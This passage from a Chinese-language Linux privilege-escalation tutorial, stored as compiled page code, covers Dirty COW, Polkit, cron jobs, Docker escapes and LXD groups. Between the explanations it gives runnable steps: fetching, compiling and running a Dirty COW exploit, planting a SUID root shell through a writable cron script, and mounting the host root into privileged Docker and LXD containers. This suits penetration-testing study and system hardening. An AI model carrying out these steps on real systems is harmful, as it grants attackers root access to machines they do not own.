-r\nsearchsploit linux kernel 5.4.0\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5047\u8bbe\u641c\u7d22\u7ed3\u679c\u91cc\u51fa\u73b0\u4e86\u7ecf\u5178\u7684 Dirty COW \u6f0f\u6d1e\u5229\u7528\uff08\u7f16\u53f7 44110\uff09\uff0c\u4f60\u53ef\u4ee5\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"searchsploit -m 44110\ngcc 44110.c -o dirtycow\n./dirtycow\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u6267\u884c\u540e\uff0c\u82e5\u6f0f\u6d1e\u5b58\u5728\uff0c\u7a0b\u5e8f\u4f1a\u5e2e\u4f60\u5c06\u6743\u9650\u63d0\u5347\u4e3a root\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u7c7b\u4f3c\u7684\uff0c\u8fd8\u6709 overlayfs\u3001run_pipe\u7b49\u6f0f\u6d1e\uff0c\u4e5f\u80fd\u7528 ",(0,i.jsx)(e.code,{children:"searchsploit"})," \u627e\u5230\u5bf9\u5e94\u4ee3\u7801\uff0c\u901a\u8fc7\u7f16\u8bd1\u8fd0\u884c\u5b9e\u73b0\u63d0\u6743\u3002"]}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.p,{children:"\u8fd9\u79cd\u5229\u7528\u5185\u6838\u6f0f\u6d1e\u63d0\u6743\u7684\u65b9\u5f0f\u9002\u5408\u76ee\u6807\u7cfb\u7edf\u5185\u6838\u7248\u672c\u8f83\u8001\uff0c\u4e14\u672a\u6253\u8865\u4e01\u7684\u573a\u666f\uff0c\u63d0\u6743\u6210\u529f\u540e\u53ef\u4ee5\u62ff\u5230\u5b8c\u6574 root \u6743\u9650\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"\u810f\u725b-\u63d0\u6743cve-2016-5195",children:"\u810f\u725b \u63d0\u6743\uff08CVE-2016-5195\uff09"}),"\n",(0,i.jsx)(e.p,{children:"\u810f\u725b\u662f\u4e00\u4e2a\u975e\u5e38\u7ecf\u5178\u7684\u5185\u6838\u63d0\u6743\u6f0f\u6d1e\uff0c\u5b58\u5728Linux\u5185\u6838\u4e2d\u5df2\u7ecf\u6709\u957f\u8fbe9\u5e74\u7684\u65f6\u95f4\uff0c\u57282007\u5e74\u53d1\u5e03\u7684Linux\u5185\u6838\u7248\u672c\u4e2d\u5c31\u5df2\u7ecf\u5b58\u5728\u6b64\u6f0f\u6d1e\uff0c\u57282016\u5e7410\u670818\u540e\u624d\u5f97\u4ee5\u4fee\u590d\u5f71\u54cd\u8303\u56f4\uff1aLinux kernel>2.6.22 (released in 2007)\u7684\u6240\u6709Linux\u7cfb\u7edf\uff0c\u4e14\u4f4e\u4e8e\u4ee5\u4e0b\u7248\u672c\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-tex",children:"Centos7/RHEL7 3.10.0-327.36.3.el7\nCetnos6/RHEL6 2.6.32-642.6.2.el6\nUbuntu 16.10 4.8.0-26.28\nUbuntu 16.04 4.4.0-45.66\nUbuntu 14.04 3.13.0-100.147\nDebian 8 3.16.36-1+deb8u2\nDebian 7 3.2.82-1\n\n"})}),"\n",(0,i.jsx)(e.p,{children:"linux\u5185\u6838\u7684\u5185\u5b58\u5b50\u7cfb\u7edf\u5728\u5904\u7406\u79c1\u6709\u6620\u5c04\u65f6\u7684\u5199\u65f6\u590d\u5236\uff08copy on write\uff0cCOW\uff09\u7684\u4e2d\u65ad\u65b9\u5f0f\u91cc\u521b\u5efa\u4e86\u6761\u4ef6\u7ade\u4e89\uff0c\u8be5\u6761\u4ef6\u7ade\u4e89\u53ef\u80fd\u8fd0\u884c\u975e\u7279\u6743\u7528\u6237\u83b7\u5f97\u5bf9\u53ea\u8bfb\u5185\u5b58\u6620\u5c04\u7684\u5199\u5165\u6743\u9650\u3002\u5199\u65f6\u590d\u5236\u662f\u4e00\u79cd\u5185\u5b58\u7ba1\u7406\u7684\u4f18\u5316\u6280\u672f\uff0c\u7528\u4e8e\u5728\u591a\u4e2a\u8fdb\u7a0b\u5171\u4eab\u540c\u4e00\u4e2a\u5185\u5b58\u9875\u7684\u60c5\u51b5\u4e0b\u907f\u514d\u5185\u5b58\u51b2\u7a81\u3002\u5f53\u4e00\u4e2a\u8fdb\u7a0b\u8bd5\u56fe\u4fee\u6539\u4e00\u4e2a\u5185\u5b58\u9875\u65f6\uff0c\u64cd\u4f5c\u7cfb\u7edf\u4f1a\u81ea\u52a8\u590d\u5236\u8fd9\u4e2a\u5185\u5b58\u9875\uff0c\u800c\u4e0d\u4f1a\u53d7\u5230\u5f53\u524d\u8fdb\u7a0b\u4fee\u6539\u7684\u5f71\u54cd"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u5229\u7528\u65b9\u5f0f"})}),"\n",(0,i.jsx)(e.p,{children:"\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u4f4e\u6743\u9650\u4f1a\u8bdd\u662f\u65e0\u6cd5\u4fee\u6539\u9ad8\u6743\u9650\u6587\u4ef6\uff0c\u6bd4\u5982 /etc/passwd\u3001/etc/shadow\u3001/etc/group \u7b49\u3002\u810f\u725b\u6f0f\u6d1e\u7684\u5229\u7528\u65b9\u5f0f\u662f\uff1a\u9996\u5148\u4f7f\u7528 mmap \u51fd\u6570\u7533\u8bf7\u865a\u62df\u5185\u5b58\uff0c\u5728\u865a\u62df\u5185\u5b58\u4e0a\u627e\u5230\u4e00\u4e2a\u9875\u9762\u521b\u5efa\u79c1\u6709\u6620\u5c04\uff08\u4ee5 /etc/group \u4e3a\u4f8b\uff09\u3002\u7531\u4e8e\u6b64\u6620\u5c04\u662f\u79c1\u6709\u7684\uff0c\u56e0\u6b64\u53ef\u4ee5\u968f\u610f\u5bf9\u6587\u4ef6\u5199\u5165\u4fee\u6539\u800c\u4e0d\u4f1a\u5f71\u54cd\u539f\u6587\u4ef6\uff0c\u7136\u540e\u5411\u79c1\u6709\u6620\u5c04\u6587\u4ef6\u4e2d\u5199\u5165\u5185\u5bb9\uff0c\u5c06\u5f53\u524d\u7528\u6237\u6dfb\u52a0\u81f3 sudo \u7ec4\uff0c\u4f46\u4e0d\u662f\u76f4\u63a5\u5411 mmap \u7533\u8bf7\u7684\u865a\u62df\u6620\u5c04\u4e2d\u5199\u5165\u5185\u5bb9\uff0c\u800c\u662f\u5411 Linux \u4e2d\u7684\u4e00\u4e2a\u7279\u6b8a\u6587\u4ef6 /proc/self/mem \u4e2d\u5199\u5165\u3002"}),"\n",(0,i.jsx)(e.p,{children:"mmap \u51fd\u6570\u662f\u7528\u6765\u521b\u5efa\u5185\u5b58\u6620\u5c04\u7684\u51fd\u6570\u3002\u901a\u8fc7\u5185\u5b58\u6620\u5c04\uff0c\u53ef\u4ee5\u5c06\u4e00\u6bb5\u6587\u4ef6\u6216\u5176\u4ed6\u5bf9\u8c61\u6620\u5c04\u5230\u8fdb\u7a0b\u7684\u5730\u5740\u7a7a\u95f4\uff0c\u4ece\u800c\u53ef\u4ee5\u76f4\u63a5\u8bbf\u95ee\u8be5\u5bf9\u8c61\u3002"}),"\n",(0,i.jsx)(e.p,{children:"proc/self/mem \u6587\u4ef6\u662f Linux \u7684\u4e00\u4e2a\u7279\u6b8a\u6587\u4ef6\uff0c\u5b83\u5141\u8bb8\u7a0b\u5e8f\u76f4\u63a5\u8bbf\u95ee\u5f53\u524d\u8fdb\u7a0b\u7684\u865a\u62df\u5185\u5b58\u7a7a\u95f4\u3002\u901a\u8fc7\u8bfb\u5199 /proc/self/mem \u6587\u4ef6\uff0c\u53ef\u4ee5\u76f4\u63a5\u5728\u865a\u62df\u5185\u5b58\u4e2d\u4fee\u6539\u6307\u5b9a\u5185\u5b58\u4f4d\u7f6e\u7684\u6570\u636e\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u5199\u5165 /proc/self/mem \u5b8c\u6210\u540e\uff0c\u5185\u6838\u9700\u8981\u5728\u7269\u7406\u5185\u5b58\u4e0a\u5bfb\u627e\u5199\u5165\u7684\u4f4d\u7f6e\uff0c\u6b64\u65f6\u8fd8\u672a\u5f00\u59cb\u5199\u5165\u3002\u5e76\u884c\u8fd0\u884c\u4e24\u4e2a\u7ebf\u7a0b\uff0c\u7b2c\u4e00\u4e2a\u7ebf\u7a0b\u7684\u529f\u80fd\u662f\u5199\u5165\u7269\u7406\u5185\u5b58\uff0c\u5b83\u5305\u62ec\u4e24\u4e2a\u64cd\u4f5c\uff0c\u5206\u522b\u662f\u5b9a\u4f4d\u5230\u7269\u7406\u5185\u5b58\u548c\u5199\u5165\u7269\u7406\u5185\u5b58\u3002\u5728\u5b9a\u4f4d\u7269\u7406\u5185\u5b58\u4f4d\u7f6e\u65f6\uff0c\u5185\u6838\u53d1\u73b0\u7269\u7406\u5185\u5b58\u4e2d\u5df2\u7ecf\u6709\u4e86\u4e00\u4e2a /etc/group \u6587\u4ef6\uff0c\u8fd9\u65f6\u89e6\u53d1\u5199\u65f6\u590d\u5236\uff0c\u5185\u6838\u51c6\u5907\u5728\u7269\u7406\u5185\u5b58\u4e2d\u627e\u5230\u4f4d\u7f6e\u521b\u5efa\u79c1\u6709\u6620\u5c04\u7684\u526f\u672c\uff0c\u7136\u540e\u5199\u5165\u3002\u5728\u5199\u5165\u4e4b\u524d\uff0c\u8fd0\u884c\u7b2c\u4e8c\u4e2a\u7ebf\u7a0b\uff0c\u5176\u529f\u80fd\u662f\u8c03\u7528 madvise \u51fd\u6570\uff0c\u901a\u77e5\u5185\u6838\u4e0d\u518d\u9700\u8981\uff08MADV_DONTNEED\uff09\u79c1\u6709\u6620\u5c04\u3002\u8fd9\u6837\uff0c\u5185\u6838\u5c31\u6709\u53ef\u80fd\u4f1a\u88ab\u6b3a\u9a97\uff0c\u8ba4\u4e3a\u7a0b\u5e8f\u5199\u5165\u7684\u662f\u539f\u59cb\u6587\u4ef6\u3002\u901a\u8fc7\u65e0\u9650\u5faa\u73af\u8fd9\u4e24\u4e2a\u7ebf\u7a0b\uff0c\u5c31\u6709\u53ef\u80fd\u5b8c\u6210\u7ade\u4e89\u6761\u4ef6\uff0c\u6210\u529f\u5730\u5199\u5165\u539f\u59cb\u6587\u4ef6"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u6848\u4f8b"})}),"\n",(0,i.jsx)(e.p,{children:"\u9996\u5148\u4e0b\u8f7dexp\uff0c\u7531\u4e8e\u88c5\u4e86git\uff0c\u8fd9\u91cc\u5c31\u76f4\u63a5clone\u4e86"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"git clone https://github.com/gbonacini/CVE-2016-5195.git\n# \u8fdb\u5165\u76ee\u5f55make\u751f\u6210\u53ef\u6267\u884c\u6587\u4ef6\ncd CVE-2016-5195 && make\n# \u6267\u884cmake\u597d\u7684\u6587\u4ef6\uff0c\u5373\u53ef\u81ea\u52a8\u5b8c\u6210\u5229\u7528\u5e76\u63d0\u6743\n./dcow -s\n\n"})}),"\n",(0,i.jsx)(e.h3,{id:"polkit-\u63d0\u6743cve-2021-4034",children:"Polkit \u63d0\u6743\uff08CVE-2021-4034\uff09"}),"\n",(0,i.jsx)(e.p,{children:"polkit\u662f\u4e00\u4e2a\u6388\u6743\u7ba1\u7406\u5668\uff0c\u5176\u7cfb\u7edf\u67b6\u6784\u7531\u6388\u6743\u548c\u8eab\u4efd\u9a8c\u8bc1\u4ee3\u7406\u7ec4\u6210\uff0cpkexec\u662f\u5176\u4e2dpolkit\u7684\u5176\u4e2d\u4e00\u4e2a\u5de5\u5177\uff0c\u4ed6\u7684\u4f5c\u7528\u6709\u70b9\u7c7b\u4f3c\u4e8esudo\uff0c\u5141\u8bb8\u7528\u6237\u4ee5\u53e6\u4e00\u4e2a\u7528\u6237\u8eab\u4efd\u6267\u884c\u547d\u4ee4polkit \u63d0\u4f9b\u4e86\u4e00\u4e2a\u6388\u6743 API\uff0c\u4f9b\u7279\u6743\u7a0b\u5e8f\uff08\u201c MECHANISMS \u201d \uff09\u4f7f\u7528\uff0c\u901a\u5e38\u901a\u8fc7\u67d0\u79cd\u5f62\u5f0f\u7684\u8fdb\u7a0b\u95f4\u901a\u4fe1\u673a\u5236\u4e3a\u975e\u7279\u6743\u7a0b\u5e8f\uff08 \u201c SUBJECTS \u201d\uff09\u63d0\u4f9b\u670d\u52a1\u3002\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u8be5\u673a\u5236\u901a\u5e38\u5c06\u4e3b\u4f53\u89c6\u4e3a\u4e0d\u53d7\u4fe1\u4efb\u3002\u5bf9\u4e8e\u6765\u81ea\u4e3b\u4f53\u7684\u6bcf\u4e2a\u8bf7\u6c42\uff0c\u8be5\u673a\u5236\u9700\u8981\u786e\u5b9a\u8be5\u8bf7\u6c42\u662f\u5426\u88ab\u6388\u6743\uff0c\u6216\u8005\u5b83\u662f\u5426\u5e94\u8be5\u62d2\u7edd\u4e3a\u4e3b\u4f53\u63d0\u4f9b\u670d\u52a1\u3002\u4f7f\u7528 polkit API\uff0c\u4e00\u79cd\u673a\u5236\u53ef\u4ee5\u5c06\u6b64\u51b3\u5b9a\u8f6c\u4ea4\u7ed9\u53d7\u4fe1\u4efb\u7684\u4e00\u65b9\uff1apolkit \u6743\u5a01\u3002polkit \u6743\u9650\u88ab\u5b9e\u73b0\u4e3a\u7cfb\u7edf\u5b88\u62a4\u8fdb\u7a0b polkitd (8)\uff0c\u5b83\u672c\u8eab\u6ca1\u6709\u4ec0\u4e48\u7279\u6743\uff0c\u56e0\u4e3a\u5b83\u4ee5 polkitd\u7cfb\u7edf\u7528\u6237\u8eab\u4efd\u8fd0\u884c\u3002\u673a\u5236\u3001\u4e3b\u4f53\u548c\u8ba4\u8bc1\u4ee3\u7406\u4f7f\u7528\u7cfb\u7edf\u6d88\u606f\u603b\u7ebf\u4e0e\u6388\u6743\u673a\u6784\u8fdb\u884c\u901a\u4fe1\u3002\u9664\u4e86\u4f5c\u4e3a\u6388\u6743\u4e4b\u5916\uff0cpolkit \u8fd8\u5141\u8bb8\u7528\u6237\u901a\u8fc7\u9a8c\u8bc1\u7ba1\u7406\u7528\u6237\u6216\u5ba2\u6237\u7aef\u6240\u5c5e\u4f1a\u8bdd\u7684\u6240\u6709\u8005\u6765\u83b7\u5f97\u4e34\u65f6\u6388\u6743\u3002\u8fd9\u5bf9\u4e8e\u673a\u5236\u9700\u8981\u9a8c\u8bc1\u7cfb\u7edf\u7684\u64cd\u4f5c\u5458\u786e\u5b9e\u662f\u7528\u6237\u8fd8\u662f\u7ba1\u7406\u7528\u6237\u7684\u573a\u666f\u5f88\u6709\u7528\u6f0f\u6d1e\u70b9\u903b\u8f91\uff1a\u6267\u884cpkexec\u65f6\uff0c\u6307\u5b9a\u4e86\u6076\u610f\u7684envp[0]\uff0c\u90a3\u4e48\u53ef\u4ee5\u5199\u5165\u4e00\u4e2a\u73af\u5883\u53d8\u91cf\u5230\u76ee\u6807\u8fdb\u7a0b\u7a7a\u95f4\u4e2d"}),"\n",(0,i.jsx)(e.h3,{id:"\u8ba1\u5212\u4efb\u52a1-\u63d0\u6743",children:"\u8ba1\u5212\u4efb\u52a1 \u63d0\u6743"}),"\n",(0,i.jsx)(e.p,{children:"**\u5b9a\u65f6\u4efb\u52a1\uff08cron job\uff09**\u53ef\u4ee5\u7528\u6765\u8bbe\u7f6e\u5468\u671f\u6267\u884c\u7684\u547d\u4ee4\uff0c\u63d0\u6743\u7684\u539f\u7406\u4e3a\u8ba1\u5212\u4efb\u52a1\u4ee5root\u6743\u9650\u8fd0\u884c\uff0c\u8ba1\u5212\u4efb\u52a1\u4e2d\u7684\u811a\u672c\u5176\u4ed6\u7528\u6237\u6709\u5199\u5165\u7684\u6743\u9650\uff0c\u6216\u8005\u811a\u672c\u6240\u5c5e\u7ec4\u4e3a\u5176\u4ed6\u7528\u6237\uff0c\u5219\u53ef\u4ee5\u8fdb\u884c\u8ba1\u5212\u4efb\u52a1\u63d0\u6743\u3002\u5e38\u7528\u547d\u4ee4\u5982\u4e0b\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:"crontab -e"})," \u7f16\u8f91\u8ba1\u5212\u4efb\u52a1"]}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:"crontab -l"})," \u67e5\u770b\u8ba1\u5212\u4efb\u52a1"]}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:"crontab -r"})," \u5220\u9664\u76ee\u524d\u7684crontab"]}),"\n"]}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u8ba1\u5212\u4efb\u52a1\u63d0\u6743"})," \u662f\u901a\u8fc7\u6ee5\u7528\u7cfb\u7edf\u4e2d\u7684\u5b9a\u65f6\u4efb\u52a1\uff08cron\uff09\u6765\u5b9e\u73b0\u6743\u9650\u63d0\u5347\u3002\u82e5\u67d0\u4e9b\u5b9a\u65f6\u4efb\u52a1\u811a\u672c\u7531 root \u7528\u6237\u8fd0\u884c\uff0c\u4f46\u5176\u811a\u672c\u8def\u5f84\u6216\u8c03\u7528\u7684\u4e8c\u8fdb\u5236\u6587\u4ef6\u53ef\u88ab\u4f4e\u6743\u9650\u7528\u6237\u4fee\u6539\uff0c\u5c31\u53ef\u4ee5\u63d2\u5165\u6076\u610f\u547d\u4ee4\uff0c\u7b49\u5b9a\u65f6\u4efb\u52a1\u89e6\u53d1\u540e\u4ee5 root \u6743\u9650\u6267\u884c\uff0c\u4ece\u800c\u5b8c\u6210\u63d0\u6743\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u5e38\u89c1\u5229\u7528\u573a\u666f\u662f ",(0,i.jsx)(e.code,{children:"/etc/crontab"})," \u6216 ",(0,i.jsx)(e.code,{children:"/etc/cron.d/*"})," \u4e2d\u6709\u5982\u4e0b\u5185\u5bb9\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-sh",children:"* * * * * root /usr/local/bin/backup.sh\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u5982\u679c\u5f53\u524d\u7528\u6237\u53ef\u4ee5\u4fee\u6539 ",(0,i.jsx)(e.code,{children:"/usr/local/bin/backup.sh"}),"\uff0c\u5c31\u53ef\u4ee5\u5199\u5165\u5982\u4e0b\u5185\u5bb9\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u7b49\u5f85 cron \u81ea\u52a8\u6267\u884c\u540e\uff0c\u5373\u53ef\u4f7f\u7528\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"/tmp/rootbash -p\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u83b7\u5f97 root shell\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u8fd9\u79cd\u63d0\u6743\u65b9\u5f0f\u901a\u5e38\u9700\u8981\u7ed3\u5408\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"find / -writable -type f 2>/dev/null\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u7b49\u547d\u4ee4\u5bfb\u627e\u53ef\u5199\u811a\u672c\uff0c\u6216\u4f7f\u7528 ",(0,i.jsx)(e.code,{children:"pspy"})," \u5de5\u5177\u76d1\u542c\u5b9a\u65f6\u4efb\u52a1\u6267\u884c\u884c\u4e3a\uff0c\u662f\u5b9e\u6218\u4e2d\u975e\u5e38\u5e38\u89c1\u7684\u4e00\u79cd\u63d0\u6743\u624b\u6bb5\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"docker-\u63d0\u6743",children:"Docker \u63d0\u6743"}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"Docker \u5bb9\u5668\u5185\u9003\u9038\u63d0\u6743"})," \u662f\u6307\u653b\u51fb\u8005\u5728\u5bb9\u5668\u5185\uff0c\u901a\u8fc7\u5229\u7528\u5bbf\u4e3b\u673a\u4e0e\u5bb9\u5668\u4e4b\u95f4\u7684\u63a5\u53e3\u6216\u6743\u9650\u914d\u7f6e\u7f3a\u9677\uff0c\u4ece\u5bb9\u5668\u4e2d\u7a81\u7834\u9694\u79bb\u9650\u5236\uff0c\u83b7\u5f97\u5bbf\u4e3b\u673a\u6743\u9650\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u5e38\u89c1\u9003\u9038\u65b9\u5f0f\u5982\u4e0b\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u6302\u8f7d\u5bbf\u4e3b\u673a\u6587\u4ef6\u7cfb\u7edf\u7684\u5bb9\u5668"}),"\uff08\u5982 ",(0,i.jsx)(e.code,{children:"/"})," \u6302\u5230\u5bb9\u5668\u4e2d\uff09\uff1a\n\u5bb9\u5668\u5185\u53ef\u6267\u884c\uff1a\nchroot /mnt\n\u5c31\u53ef\u4ee5\u8bbf\u95ee\u5bbf\u4e3b\u673a\u7684\u6839\u76ee\u5f55\u3002"]}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"/var/run/docker.sock \u6302\u8f7d\u5230\u5bb9\u5668\u4e2d"}),"\uff1a\n\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7 docker API \u64cd\u4f5c\u5bbf\u4e3b\u673a\u5bb9\u5668\uff0c\u521b\u5efa\u6302\u8f7d\u4e86 ",(0,i.jsx)(e.code,{children:"/"})," \u7684\u65b0\u5bb9\u5668\uff0c\u4ece\u800c\u5b9e\u73b0\u5bbf\u4e3b\u673a root \u63d0\u6743\u3002"]}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u5177\u6709 CAP_SYS_ADMIN \u7b49\u9ad8\u6743\u9650\u7684\u5bb9\u5668"}),"\uff1a\n\u5982\u679c\u5bb9\u5668\u8fd0\u884c\u65f6\u52a0\u4e86 ",(0,i.jsx)(e.code,{children:"--cap-add=ALL"})," \u6216 ",(0,i.jsx)(e.code,{children:"--privileged"}),"\uff0c\u5373\u53ef\u5229\u7528\u5185\u6838\u63a5\u53e3\uff08\u5982\u6302\u8f7d\u3001\u52a0\u8f7d\u6a21\u5757\uff09\u8fdb\u884c\u63d0\u6743\u6216\u9003\u9038\u3002"]}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"docker run --rm -it --privileged alpine\nmount -t proc proc /proc\nchroot /host\n"})}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"\u5229\u7528\u5df2\u77e5\u5185\u6838\u9003\u9038\u6f0f\u6d1e"}),"\uff1a\n\u5982\u679c\u5bbf\u4e3b\u673a\u5185\u6838\u5b58\u5728\u6f0f\u6d1e\uff08\u5982 Dirty COW\u3001overlayfs\uff09\uff0c\u5bb9\u5668\u5185\u53ef\u7528\u672c\u5730\u63d0\u6743 exploit \u5b9e\u73b0\u5bbf\u4e3b\u673a\u63d0\u6743\u3002"]}),"\n"]}),"\n",(0,i.jsx)(e.h3,{id:"k8s-\u63d0\u6743cve-2018-1002105",children:"K8s \u63d0\u6743\uff08CVE-2018-1002105\uff09"}),"\n",(0,i.jsx)(e.h3,{id:"lxd-\u63d0\u6743",children:"LXD \u63d0\u6743"}),"\n",(0,i.jsx)(e.p,{children:"LXD\uff08Linux Container Daemon\uff09\u662f\u4e00\u4e2a\u7528\u4e8e\u7ba1\u7406 Linux \u5bb9\u5668\u7684\u5de5\u5177\u3002\u5728\u9ed8\u8ba4\u914d\u7f6e\u6216\u7ba1\u7406\u4e0d\u5f53\u7684\u60c5\u51b5\u4e0b\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5229\u7528 LXD \u8fdb\u884c\u672c\u5730\u63d0\u6743\uff08Local Privilege Escalation\uff09\uff0c\u83b7\u53d6\u5bbf\u4e3b\u673a\u7684 root \u6743\u9650\u3002"}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"LXD \u63d0\u6743\u539f\u7406"})}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsxs)(e.p,{children:["\uff081\uff09\u6838\u5fc3\u95ee\u9898\uff1a\u7279\u6743\u5bb9\u5668\uff08Privileged Containers\uff09\uff1aLXD \u5141\u8bb8\u7528\u6237\u521b\u5efa\u7279\u6743\u5bb9\u5668\uff08",(0,i.jsx)(e.code,{children:"security.privileged=true"}),"\uff09\uff0c\u8fd9\u7c7b\u5bb9\u5668\u4f1a\u7ed5\u8fc7 Linux \u7684\u7528\u6237\u547d\u540d\u7a7a\u95f4\u9694\u79bb\uff08User Namespace\uff09\uff0c\u5bfc\u81f4\u5bb9\u5668\u5185\u7684 root \u7528\u6237\u7b49\u540c\u4e8e\u5bbf\u4e3b\u673a\u7684 root \u7528\u6237\u3002"]}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsxs)(e.p,{children:["\uff082\uff09\u5173\u952e\u6761\u4ef6\uff1a\u5f53\u524d\u7528\u6237\u5728 ",(0,i.jsx)(e.code,{children:"lxd"})," \u7528\u6237\u7ec4 / LXD \u670d\u52a1\u672a\u6b63\u786e\u914d\u7f6e\u5b89\u5168\u7b56\u7565\uff08\u5141\u8bb8\u666e\u901a\u7528\u6237\u521b\u5efa\u7279\u6743\u5bb9\u5668\uff09"]}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"\u63d0\u6743\u8def\u5f84"}),"\n"]}),"\n"]}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsxs)(e.li,{children:["\u7528\u6237\u901a\u8fc7 ",(0,i.jsx)(e.code,{children:"lxd"})," \u7ec4\u6743\u9650\u4e0e LXD \u5b88\u62a4\u8fdb\u7a0b\u901a\u4fe1"]}),"\n",(0,i.jsx)(e.li,{children:"\u521b\u5efa\u7279\u6743\u5bb9\u5668\u5e76\u6302\u8f7d\u5bbf\u4e3b\u673a\u6587\u4ef6\u7cfb\u7edf"}),"\n",(0,i.jsxs)(e.li,{children:["\u5728\u5bb9\u5668\u5185\u4fee\u6539\u5bbf\u4e3b\u673a\u654f\u611f\u6587\u4ef6\uff08\u5982 ",(0,i.jsx)(e.code,{children:"/etc/passwd"}),"\u3001",(0,i.jsx)(e.code,{children:"/etc/shadow"}),"\uff09\u6216\u5199\u5165 SSH \u5bc6\u94a5"]}),"\n",(0,i.jsx)(e.li,{children:"\u83b7\u5f97\u5bbf\u4e3b\u673a root \u6743\u9650"}),"\n"]}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u5b9e\u9645\u63d0\u6743\u6848\u4f8b\u6f14\u793a"})}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:["\u6b65\u9aa4 1\uff1a\u68c0\u67e5\u5f53\u524d\u7528\u6237\u662f\u5426\u5728 ",(0,i.jsx)(e.code,{children:"lxd"})," \u7ec4"]}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"id\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5982\u679c\u8f93\u51fa\u5305\u542b lxd\uff0c\u5219\u5b58\u5728\u63d0\u6743\u53ef\u80fd\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"uid=1001(test) gid=1001(test) groups=1001(test),108(lxd)\n"})}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"\u6b65\u9aa4 2\uff1a\u521b\u5efa\u7279\u6743\u5bb9\u5668\u5e76\u6302\u8f7d\u5bbf\u4e3b\u673a / \u76ee\u5f55"}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"# \u521d\u59cb\u5316\u4e00\u4e2a\u7279\u6743\u5bb9\u5668\uff08\u4f7f\u7528Ubuntu\u955c\u50cf\uff09\nlxc init ubuntu:22.04 privesc -c security.privileged=true\n\n# \u5c06\u5bbf\u4e3b\u673a\u7684\u6839\u76ee\u5f55`/`\u6302\u8f7d\u5230\u5bb9\u5668\u7684`/mnt/root`\nlxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true\n\n# \u542f\u52a8\u5bb9\u5668\nlxc start privesc\n\n# \u8fdb\u5165\u5bb9\u5668shell\nlxc exec privesc bash\n"})}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"\u6b65\u9aa4 3\uff1a\u5728\u5bb9\u5668\u5185\u4fee\u6539\u5bbf\u4e3b\u673a\u6587\u4ef6"}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:"\u5bb9\u5668\u7684 /mnt/root \u5c31\u662f\u5bbf\u4e3b\u673a\u7684 